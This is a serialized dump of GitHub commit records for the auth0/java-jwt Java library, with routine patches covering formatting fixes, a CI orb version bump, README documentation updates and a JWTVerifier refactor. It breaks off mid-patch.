             if (headerClaimsJson == null) {uau(3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9}(sha(3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9node_idEC_kwDOAQtL0doAKDNjNzExNTIyZjA5YmMxZDZhOGJlMmViOTM1NTlmMWY4YTkxZmYzYTkcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-08-25T01:42:49Zu	committer}(j$  GitHubj$  noreply@github.comj$  2022-08-25T01:42:49ZumessageUpdate TokenUtils.javatree}(j$  (4c9266e9a97c512ba4d290b528914bbe0299cc9furl^https://api.github.com/repos/auth0/java-jwt/git/trees/4c9266e9a97c512ba4d290b528914bbe0299cc9fuj$  `https://api.github.com/repos/auth0/java-jwt/git/commits/3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjBtOZCRBK7hj4Ov3rIwAAN5MIAElHn93d3Lo3R4D6RbDzz/on
INgVPeFPNbOjp831bQzoXoCvGShnK8FiUKdxtnSvhbkn3MF8L3IrWMLniGORCAea
0/vRXoh11jW+Hk/1om16feLHexuBXod/KKDdiHXhWbPcF2Hps4m3ll9STT51fblE
UAB5t1UHFOo9vUBQyl/qCo20GYGf5sqR12Tr65ckN0gybFNCCDACWMERrDTmVKPY
LUPmsk9HAS5QHPTJiFtP9IOSEAa5PWexBN7kp2i9YGlhcnOxS3yh9atsY/3vhVf9
y8xEGoQ/S+86soxHq8Xvi295qBezjNoW2BlJYNo439pDyM/Lv+9F7XZ0dnIFs10=
=6Pu9
-----END PGP SIGNATURE-----
payloadtree 4c9266e9a97c512ba4d290b528914bbe0299cc9f
parent 21e68d8de65c16ffa8cba19923efe6fa144c427f
author Jim Anderson <jimranderson@gmail.com> 1661391769 -0500
committer GitHub <noreply@github.com> 1661391769 -0500

Update TokenUtils.javauuj$  \https://api.github.com/repos/auth0/java-jwt/commits/3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9html_urlQhttps://github.com/auth0/java-jwt/commit/3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9/commentsj$  }(login
jimmyjamesidJ7 j$  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j$  'https://api.github.com/users/jimmyjamesj%  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj$  }(j%  web-flowj	%  J/j$  MDQ6VXNlcjE5ODY0NDQ3j%  4https://avatars.githubusercontent.com/u/19864447?v=4j
%  h3j$  %https://api.github.com/users/web-flowj%  https://github.com/web-flowj%  /https://api.github.com/users/web-flow/followersj%  <https://api.github.com/users/web-flow/following{/other_user}j%  5https://api.github.com/users/web-flow/gists{/gist_id}j%  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j%  3https://api.github.com/users/web-flow/subscriptionsj%  *https://api.github.com/users/web-flow/orgsj%  +https://api.github.com/users/web-flow/reposj%  6https://api.github.com/users/web-flow/events{/privacy}j %  5https://api.github.com/users/web-flow/received_eventsj"%  Userj$%  uparents]}(j$  (21e68d8de65c16ffa8cba19923efe6fa144c427fj$  \https://api.github.com/repos/auth0/java-jwt/commits/21e68d8de65c16ffa8cba19923efe6fa144c427fj%  Qhttps://github.com/auth0/java-jwt/commit/21e68d8de65c16ffa8cba19923efe6fa144c427fuastats}(totalK	additionsK	deletionsKufiles]}(j$  (c372d58f42e3db619197045cd2ab8e10aa3dba54filename/lib/src/main/java/com/auth0/jwt/TokenUtils.javastatusmodifiedj>%  Kj?%  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaraw_urlhttps://github.com/auth0/java-jwt/raw/3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9patchXX  @@ -12,7 +12,7 @@ abstract class TokenUtils {
      * @throws JWTDecodeException if the Token doesn't have 3 parts.
      */
     static String[] splitToken(String token) throws JWTDecodeException {
-        if ( token == null ) {
+        if (token == null) {
            throw new JWTDecodeException("The token is null");
         }
         uau(d2dd8a59c90b68a89c9fa883d072159f233849df}(sha(d2dd8a59c90b68a89c9fa883d072159f233849dfnode_idEC_kwDOAQtL0doAKGQyZGQ4YTU5YzkwYjY4YTg5YzlmYTg4M2QwNzIxNTlmMjMzODQ5ZGYcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-10-24T12:32:17Zu	committer}(j[%  GitHubj]%  noreply@github.comj_%  2022-10-24T12:32:17Zumessage!Merge branch 'master' into mastertree}(jS%  (d32e50af95232b2d3cc7694d12ddc554ccb43b85url^https://api.github.com/repos/auth0/java-jwt/git/trees/d32e50af95232b2d3cc7694d12ddc554ccb43b85ujk%  `https://api.github.com/repos/auth0/java-jwt/git/commits/d2dd8a59c90b68a89c9fa883d072159f233849df
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjVoXRCRBK7hj4Ov3rIwAAy9QIACGlLGJfHKcFaVJvOoa7Iit2
fA85X3BVdXlMaM7LcU/FxHEjHVbCWsbkImP7LCuN3PI4FQH9uvVZtsx78yxOpXw6
BUlXniVj+NvlTJcwT+tPubV0rxINYOR9D2EpF9jcQ9dlBlOGso/T24lym8Cf/OMK
/M2H4M/dH6VctyyHdMcHRA9dM3BaE365NVA/e4P/XrjcjVExPDQZwFRtS7YhT5oE
JC3eqV1LmrhCYTtqCeqNi2dj0fuSxqYEbXhl8EAQXRq6XlBr+7PIlkfKhC2Yht9j
jl1iO3bRL81dpIT5hZRtP7Q6NktguuAU42HOko4siK6n5vics4N7wsXe6z58NTU=
=j7Dg
-----END PGP SIGNATURE-----
payloadX  tree d32e50af95232b2d3cc7694d12ddc554ccb43b85
parent 1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4
parent 3d3980de9c0a84b6265de9263647cdbfda7c8a5b
author noetro <noel.trout@avinode.com> 1666614737 +0200
committer GitHub <noreply@github.com> 1666614737 +0200

Merge branch 'master' into masteruujk%  \https://api.github.com/repos/auth0/java-jwt/commits/d2dd8a59c90b68a89c9fa883d072159f233849dfhtml_urlQhttps://github.com/auth0/java-jwt/commit/d2dd8a59c90b68a89c9fa883d072159f233849dfcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d2dd8a59c90b68a89c9fa883d072159f233849df/commentsjY%  }(loginnoetroidJOP&jU%  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3jk%  #https://api.github.com/users/noetrojy%  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuja%  }(j~%  web-flowj%  J/jU%  MDQ6VXNlcjE5ODY0NDQ3j%  4https://avatars.githubusercontent.com/u/19864447?v=4j%  h3jk%  %https://api.github.com/users/web-flowjy%  https://github.com/web-flowj%  /https://api.github.com/users/web-flow/followersj%  <https://api.github.com/users/web-flow/following{/other_user}j%  5https://api.github.com/users/web-flow/gists{/gist_id}j%  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j%  3https://api.github.com/users/web-flow/subscriptionsj%  *https://api.github.com/users/web-flow/orgsj%  +https://api.github.com/users/web-flow/reposj%  6https://api.github.com/users/web-flow/events{/privacy}j%  5https://api.github.com/users/web-flow/received_eventsj%  Userj%  uparents](}(jS%  (1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4jk%  \https://api.github.com/repos/auth0/java-jwt/commits/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4jy%  Qhttps://github.com/auth0/java-jwt/commit/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4u}(jS%  (3d3980de9c0a84b6265de9263647cdbfda7c8a5bjk%  \https://api.github.com/repos/auth0/java-jwt/commits/3d3980de9c0a84b6265de9263647cdbfda7c8a5bjy%  Qhttps://github.com/auth0/java-jwt/commit/3d3980de9c0a84b6265de9263647cdbfda7c8a5buestats}(totalK	additionsK	deletionsKufiles]}(jS%  (9cf198c89eea1b8108df25d0c26143cb209483f1filename.circleci/config.ymlstatusmodifiedj%  Kj%  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/d2dd8a59c90b68a89c9fa883d072159f233849df/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/d2dd8a59c90b68a89c9fa883d072159f233849df/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=d2dd8a59c90b68a89c9fa883d072159f233849dfpatch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.2
+  ship: auth0/ship@0.7.3
   codecov: codecov/codecov@3
 
 commands:uau(5e8e20dee05c3f9f957a3f84f0de9be114710de6}(sha(5e8e20dee05c3f9f957a3f84f0de9be114710de6node_idEC_kwDOAQtL0doAKDVlOGUyMGRlZTA1YzNmOWY5NTdhM2Y4NGYwZGU5YmUxMTQ3MTBkZTYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-04-26T16:31:55Zu	committer}(j%  GitHubj%  noreply@github.comj%  2022-04-26T16:31:55ZumessageFMerge pull request #578 from auth0/docs-updates

Documentation updatestree}(j%  (9952b35ae3c549cbeedb4ba206bee95979298fcdurl^https://api.github.com/repos/auth0/java-jwt/git/trees/9952b35ae3c549cbeedb4ba206bee95979298fcduj%  `https://api.github.com/repos/auth0/java-jwt/git/commits/5e8e20dee05c3f9f957a3f84f0de9be114710de6
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiaB57CRBK7hj4Ov3rIwAASMoIAGDDt6kM/n7+tzwkfEgqSmAl
z6CmVoQVFY1sbn9VDX8GFSLzo/GaRqyPevrNnJpipetVenNhxin8Y8snnOLeSvFu
mBvS3YTVfQq0ZoYNZfQP3N4GGLIq6UZY/X0Yp44ywgHxhKQ+IRdeedixhiAfIc7y
We844l35VP5voG0GqSUbHg8rPr1RQqCtZAlEDhcg75o0pSMfsW9JThOl1B6PQ4Tw
24AzbOjkEc+KO/H4pHMQ/Moflx6Zkbyie/6XfBw6zkEr8alcRXkxTOIA6p5YjDil
cIyQce3csRNWswxHqyL5iLniCSKn1kyuf8MjP6thGBYlGEFrqq8OqgrSG3KS1GI=
=rpRf
-----END PGP SIGNATURE-----
payloadXJ  tree 9952b35ae3c549cbeedb4ba206bee95979298fcd
parent e9549e5066aad321fa106654b630b2756d3614cd
parent b6a9a034b3ceac2e644308e376c0f48aefdcc6da
author Jim Anderson <jim.anderson@auth0.com> 1650990715 -0500
committer GitHub <noreply@github.com> 1650990715 -0500

Merge pull request #578 from auth0/docs-updates

Documentation updatesuuj%  \https://api.github.com/repos/auth0/java-jwt/commits/5e8e20dee05c3f9f957a3f84f0de9be114710de6html_urlQhttps://github.com/auth0/java-jwt/commit/5e8e20dee05c3f9f957a3f84f0de9be114710de6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5e8e20dee05c3f9f957a3f84f0de9be114710de6/commentsj%  }(login
jimmyjamesidJ7 j%  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j%  'https://api.github.com/users/jimmyjamesj%  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj%  }(j%  web-flowj%  J/j%  MDQ6VXNlcjE5ODY0NDQ3j%  4https://avatars.githubusercontent.com/u/19864447?v=4j%  h3j%  %https://api.github.com/users/web-flowj%  https://github.com/web-flowj&  /https://api.github.com/users/web-flow/followersj&  <https://api.github.com/users/web-flow/following{/other_user}j&  5https://api.github.com/users/web-flow/gists{/gist_id}j&  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j
&  3https://api.github.com/users/web-flow/subscriptionsj&  *https://api.github.com/users/web-flow/orgsj&  +https://api.github.com/users/web-flow/reposj&  6https://api.github.com/users/web-flow/events{/privacy}j&  5https://api.github.com/users/web-flow/received_eventsj&  Userj&  uparents](}(j%  (e9549e5066aad321fa106654b630b2756d3614cdj%  \https://api.github.com/repos/auth0/java-jwt/commits/e9549e5066aad321fa106654b630b2756d3614cdj%  Qhttps://github.com/auth0/java-jwt/commit/e9549e5066aad321fa106654b630b2756d3614cdu}(j%  (b6a9a034b3ceac2e644308e376c0f48aefdcc6daj%  \https://api.github.com/repos/auth0/java-jwt/commits/b6a9a034b3ceac2e644308e376c0f48aefdcc6daj%  Qhttps://github.com/auth0/java-jwt/commit/b6a9a034b3ceac2e644308e376c0f48aefdcc6dauestats}(totalK0	additionsK'	deletionsK	ufiles](}(j%  (de278af264a074fa68a1e3b2f81e0910a58382f6filename.codecov.ymlstatusmodifiedj4&  Kj5&  K changesKblob_url\https://github.com/auth0/java-jwt/blob/5e8e20dee05c3f9f957a3f84f0de9be114710de6/.codecov.ymlraw_url[https://github.com/auth0/java-jwt/raw/5e8e20dee05c3f9f957a3f84f0de9be114710de6/.codecov.ymlcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/.codecov.yml?ref=5e8e20dee05c3f9f957a3f84f0de9be114710de6patch@@ -11,5 +11,6 @@ coverage:
     project:
       default:
         target: auto
+        threshold: 1%
         if_no_uploads: error
 comment: false
\ No newline at end of fileu}(j%  (624a7f689e4eb0af01b647c03ca6054fe2f5c3a8j:&  	README.mdj<&  modifiedj4&  K"j5&  Kj>&  K'j?&  Yhttps://github.com/auth0/java-jwt/blob/5e8e20dee05c3f9f957a3f84f0de9be114710de6/README.mdjA&  Xhttps://github.com/auth0/java-jwt/raw/5e8e20dee05c3f9f957a3f84f0de9be114710de6/README.mdjC&  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=5e8e20dee05c3f9f957a3f84f0de9be114710de6jE&  X  @@ -11,15 +11,15 @@ A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.or
 
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
-> This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.
+> You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
 
 ## Table of Contents
+- [**Requirements**](#requirements)
 - [**Installation**](#installation)
 - [**Available Algorithms**](#available-algorithms)
 - [**Quickstart**](#quickstart)
   + [**Create and Sign a Token**](#create-and-sign-a-token)
   + [**Verify a Token**](#verify-a-token)
-  + [**Decode a Token**](#decode-a-token)
 - [**Usage**](#usage)
   + [**Pick the algorithm**](#pick-the-algorithm)
   + [**Time Validation**](#time-validation)
@@ -28,6 +28,10 @@ If you're looking for an **Android** version of the JWT Decoder take a look at o
   + [**Claim Class**](#claim-class)
 - [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
 
+## Requirements
+
+This library is supported for Java 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
+
 ## Installation
 
 ### Gradle
@@ -138,8 +142,13 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
 
 If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
 
+<details>
+<summary><em></em>Need to peek into a JWT without verifying it? (Click to expand)</summary>
+
 ### Decode a Token
 
+> __Warning:__ This will __not__ verify whether the signature is valid. You should __not__ use this for untrusted messages. You most likely want to use `JWTVerifier` as documented above instead.
+
 ```java
 String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
 try {
@@ -151,6 +160,8 @@ try {
 
 If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
 
+</details>
+
 ## Usage
 
 ### Pick the Algorithm
@@ -176,7 +187,7 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 ##### HMAC Key Length and Security
 
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 
 #### Using a KeyProvider:
 By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
@@ -243,13 +254,13 @@ JWTVerifier verifier = JWT.require(algorithm)
     .build();
 ```
 
-If you need to test this behaviour in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a custom `Clock`. e.g.:
+If you need to test this behavior in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
 
 ```java
 BaseVerification verification = (BaseVerification) JWT.require(algorithm)
     .acceptLeeway(1)
     .acceptExpiresAt(5);
-Clock clock = new CustomClock(); //Must implement Clock interface
+private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
 JWTVerifier verifier = verification.build(clock);
 ```
 
@@ -342,6 +353,12 @@ Returns the Expiration Time value or null if it's not defined in the Payload.
 Date expiresAt = jwt.getExpiresAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant expiresAt = jwt.getExpiresAtAsInstant();
+```
+
 #### Not Before ("nbf")
 
 Returns the Not Before value or null if it's not defined in the Payload.
@@ -350,6 +367,12 @@ Returns the Not Before value or null if it's not defined in the Payload.
 Date notBefore = jwt.getNotBefore();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant notBefore = jwt.getNotBeforeAsInstant();
+```
+
 #### Issued At ("iat")
 
 Returns the Issued At value or null if it's not defined in the Payload.
@@ -358,6 +381,12 @@ Returns the Issued At value or null if it's not defined in the Payload.
 Date issuedAt = jwt.getIssuedAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant issuedAt = jwt.getIssuedAtAsInstant();
+```
+
 #### JWT ID ("jti")
 
 Returns the JWT ID value or null if it's not defined in the Payload.u}(j%  (a99f0fa010ba4b81b0c97a055105f1a844a7ecc8j:&  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj<&  modifiedj4&  Kj5&  Kj>&  Kj?&  https://github.com/auth0/java-jwt/blob/5e8e20dee05c3f9f957a3f84f0de9be114710de6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajA&  https://github.com/auth0/java-jwt/raw/5e8e20dee05c3f9f957a3f84f0de9be114710de6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajC&  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=5e8e20dee05c3f9f957a3f84f0de9be114710de6jE&  X"  @@ -453,7 +453,7 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
 
             if (!validatePayload(payloadClaims)) {
                 throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
-                        + "Long, Double, String, Date and Null");
+                        + "Long, Double, String, Date, Instant, and Null");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builderu}(j%  (4d1c7314418872a373144140ba45573b61e6bccfj:&  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj<&  modifiedj4&  Kj5&  Kj>&  Kj?&  https://github.com/auth0/java-jwt/blob/5e8e20dee05c3f9f957a3f84f0de9be114710de6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajA&  https://github.com/auth0/java-jwt/raw/5e8e20dee05c3f9f957a3f84f0de9be114710de6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajC&  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=5e8e20dee05c3f9f957a3f84f0de9be114710de6jE&  X!  @@ -759,7 +759,7 @@ public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
     @Test
     public void withPayloadShouldNotAllowCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
@@ -786,7 +786,7 @@ public void withPayloadShouldAllowNullListItems() {
     @Test
     public void withPayloadShouldNotAllowListWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("list", Arrays.asList("item1", new UserPojo("name", 42)));
@@ -798,7 +798,7 @@ public void withPayloadShouldNotAllowListWithCustomType() {
     @Test
     public void withPayloadShouldNotAllowMapWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");ueu(308bd3b30fdb544dd567edea6f7a6ba31e569da9}(sha(308bd3b30fdb544dd567edea6f7a6ba31e569da9node_idEC_kwDOAQtL0doAKDMwOGJkM2IzMGZkYjU0NGRkNTY3ZWRlYTZmN2E2YmEzMWU1NjlkYTkcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-06T18:35:28Zu	committer}(ji&  
Poovamraj T Tjk&  poovamraj@gmail.comjm&  2022-04-06T18:35:28Zumessage3Added support for multiple checks on a single claimtree}(ja&  (28b8deb479fc6db7e1b4f2e974753e48633470e9url^https://api.github.com/repos/auth0/java-jwt/git/trees/28b8deb479fc6db7e1b4f2e974753e48633470e9ujy&  `https://api.github.com/repos/auth0/java-jwt/git/commits/308bd3b30fdb544dd567edea6f7a6ba31e569da9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujy&  \https://api.github.com/repos/auth0/java-jwt/commits/308bd3b30fdb544dd567edea6f7a6ba31e569da9html_urlQhttps://github.com/auth0/java-jwt/commit/308bd3b30fdb544dd567edea6f7a6ba31e569da9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/308bd3b30fdb544dd567edea6f7a6ba31e569da9/commentsjg&  }(login	poovamrajidJ jc&  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jy&  &https://api.github.com/users/poovamrajj&  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujo&  }(j&  	poovamrajj&  J jc&  MDQ6VXNlcjE1OTEwNDI1j&  4https://avatars.githubusercontent.com/u/15910425?v=4j&  h3jy&  &https://api.github.com/users/poovamrajj&  https://github.com/poovamrajj&  0https://api.github.com/users/poovamraj/followersj&  =https://api.github.com/users/poovamraj/following{/other_user}j&  6https://api.github.com/users/poovamraj/gists{/gist_id}j&  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j&  4https://api.github.com/users/poovamraj/subscriptionsj&  +https://api.github.com/users/poovamraj/orgsj&  ,https://api.github.com/users/poovamraj/reposj&  7https://api.github.com/users/poovamraj/events{/privacy}j&  6https://api.github.com/users/poovamraj/received_eventsj&  Userj&  uparents]}(ja&  (67df3d476024cbe697b3a54893f5383945c7670djy&  \https://api.github.com/repos/auth0/java-jwt/commits/67df3d476024cbe697b3a54893f5383945c7670dj&  Qhttps://github.com/auth0/java-jwt/commit/67df3d476024cbe697b3a54893f5383945c7670duastats}(totalMz	additionsM 	deletionsKzufiles](}(ja&  (e564d20406ec69da63060677c24056658105099efilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj&  KGj&  K+changesKrblob_urlhttps://github.com/auth0/java-jwt/blob/308bd3b30fdb544dd567edea6f7a6ba31e569da9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javag      raw_urlhttps://github.com/auth0/java-jwt/raw/308bd3b30fdb544dd567edea6f7a6ba31e569da9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=308bd3b30fdb544dd567edea6f7a6ba31e569da9patchX5  @@ -6,6 +6,7 @@
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
+import com.auth0.jwt.interfaces.ExpectedCheckHolder;
 import com.auth0.jwt.interfaces.Verification;
 
 import java.time.Clock;
@@ -25,12 +26,12 @@
  */
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
-    final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
+    final List<ExpectedCheckHolder> expectedChecks;
     private final JWTParser parser;
 
-    JWTVerifier(Algorithm algorithm, Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks) {
+    JWTVerifier(Algorithm algorithm, List<ExpectedCheckHolder> expectedChecks) {
         this.algorithm = algorithm;
-        this.expectedChecks = Collections.unmodifiableMap(expectedChecks);
+        this.expectedChecks = Collections.unmodifiableList(expectedChecks);
         this.parser = new JWTParser();
     }
 
@@ -50,7 +51,7 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
-        private final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
+        private final List<ExpectedCheckHolder> expectedChecks;
         private long defaultLeeway;
         private final Map<String, Long> customLeeways;
         private boolean ignoreIssuedAt;
@@ -62,15 +63,18 @@ public static class BaseVerification implements Verification {
             }
 
             this.algorithm = algorithm;
-            this.expectedChecks = new LinkedHashMap<>();
+            this.expectedChecks = new ArrayList<>();
             this.customLeeways = new HashMap<>();
             this.defaultLeeway = 0;
         }
 
         @Override
         public Verification withIssuer(String... issuer) {
             List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
-            checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
